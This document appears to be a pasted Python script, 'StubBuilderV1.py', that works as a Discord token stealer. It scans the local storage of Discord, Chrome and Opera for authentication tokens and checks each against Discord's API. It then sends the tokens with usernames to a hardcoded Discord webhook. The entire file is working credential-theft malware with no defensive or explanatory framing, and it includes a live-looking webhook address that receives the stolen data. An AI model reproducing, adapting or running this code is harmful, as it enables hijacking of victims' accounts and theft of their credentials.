StubBuilderV1.py 2.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879
  1. import os
  2. from re import findall
  3. from json import loads, dumps
  4. from urllib.request import Request, urlopen
  5. web1 = "https://discord.com/api/webhooks/930242516748492830/SYczYTg-GwusGqdN6QOQ5eSUOtYMlUjliqvOEp3XEvGuu6oxemV7LgeduDrTdy_f7PZN"
  6. lc = os.getenv("LOCALAPPDATA")
  7. rm = os.getenv("APPDATA")
  8. PATHS = {
  9. "Discord": rm + "\\Discord",
  10. "Discord Canary": rm + "\\discordcanary",
  11. "Discord PTB": rm + "\\discordptb",
  12. "Google Chrome": lc + "\\Google\\Chrome\\User Data\\Default",
  13. "Opera": rm + "\\Opera Software\\Opera Stable"
  14. }
  15. def header(token=None):
  16. headers = {
  17. "Content-Type": "application/json",
  18. "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9003 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36",
  19. }
  20. if token:
  21. headers.update({"Authorization": token})
  22. return headers
  23. def da(token):
  24. try:
  25. return loads(
  26. urlopen(Request("https://discordapp.com/api/v9/users/@me", headers=header(token))).read().decode())
  27. except:
  28. pass
  29. def tukan(path):
  30. path += "\\Local Storage\\leveldb"
  31. tokens = []
  32. for file_name in os.listdir(path):
  33. if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
  34. continue
  35. for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
  36. for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
  37. for token in findall(regex, line):
  38. tokens.append(token)
  39. return tokens
  40. def grabber():
  41. em = []
  42. checked = []
  43. for platform, path in PATHS.items():
  44. if not os.path.exists(path):
  45. continue
  46. for token in tukan(path):
  47. if token in checked:
  48. continue
  49. checked.append(token)
  50. user_data = da(token)
  51. if not user_data:
  52. continue
  53. username = user_data["username"] + "#" + str(user_data["discriminator"])
  54. emb = {
  55. "fields": [
  56. {
  57. "name": "Token:",
  58. "value": token,
  59. "inline": False
  60. }
  61. ],
  62. "author": {
  63. "name": f"{username} ",
  64. },
  65. }
  66. em.append(emb)
  67. webhook = {
  68. "content": "",
  69. "embeds": em,
  70. "username": "GANG"
  71. }
  72. try:
  73. urlopen(Request(web1, data=dumps(webhook).encode(), headers=header()))
  74. except:
  75. pass
  76. if __name__ == '__main__':
  77. grabber()